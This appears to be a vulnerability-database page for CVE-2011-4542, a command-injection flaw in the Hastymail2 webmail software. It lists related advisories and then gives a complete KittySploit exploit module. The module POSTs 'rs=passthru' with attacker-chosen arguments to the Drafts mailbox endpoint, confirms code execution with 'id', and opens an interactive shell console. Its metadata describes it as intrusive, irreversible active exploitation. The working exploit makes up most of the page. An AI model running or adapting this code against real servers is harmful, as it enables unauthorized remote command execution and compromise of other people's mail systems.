Hastymail2 - rs=passthru RCE (CVE-2011-4542)
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Hastymail 2.1.1 RC1 Command Injection | 12 Jul 201200:00 | – | zdt | |
| CVE-2011-4542 | 12 Jul 201200:00 | – | circl | |
| Hastymail2 call_user_func_array() Command Injection (CVE-2011-4542) | 23 Oct 201400:00 | – | checkpoint_advisories | |
| CVE-2011-4542 | 30 Nov 201102:00 | – | cve | |
| CVE-2011-4542 | 30 Nov 201102:00 | – | cvelist | |
| Hastymail 2.1.1 RC1 - Command Injection (Metasploit) | 12 Jul 201200:00 | – | exploitdb | |
| Hastymail2 - rs=passthru RCE Detection (CVE-2011-4542) | 10 Aug 202606:19 | – | kittysploit | |
| Hastymail 2.1.1 RC1 Command Injection | 22 Nov 201100:00 | – | metasploit | |
| CVE-2011-4542 | 30 Nov 201104:05 | – | nvd | |
| Hastymail < 2.1.1 RC2 RCE Vulnerability | 25 Nov 201100:00 | – | openvas |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hastymail2 rs=passthru RCE (CVE-2011-4542)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Hastymail2 - rs=passthru RCE (CVE-2011-4542)',
'description': (
'Exploits CVE-2011-4542 by POSTing rs=passthru with attacker-controlled '
'rsargs to index.php mailbox Drafts.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2011-4542'],
'platform': Platform.PHP,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2011-4542'],
'tags': ['hastymail', 'rce', 'unauth', 'cve-2011-4542'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2011_4542_detect'],
},
},
}
base_path = OptString('', 'Hastymail base path', required=False)
def execute(self, cmd: str) -> str:
base = str(self.base_path or '').rstrip('/')
path = f'{base}/index.php?page=mailbox&mailbox=Drafts'
r = self.http_request(
method='POST',
path=path,
data=f'rs=passthru&rsargs[]=asd&rsargs[]={cmd}',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
print_error('Target does not appear vulnerable to CVE-2011-4542')
return False
print_success('Hastymail2 RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.24119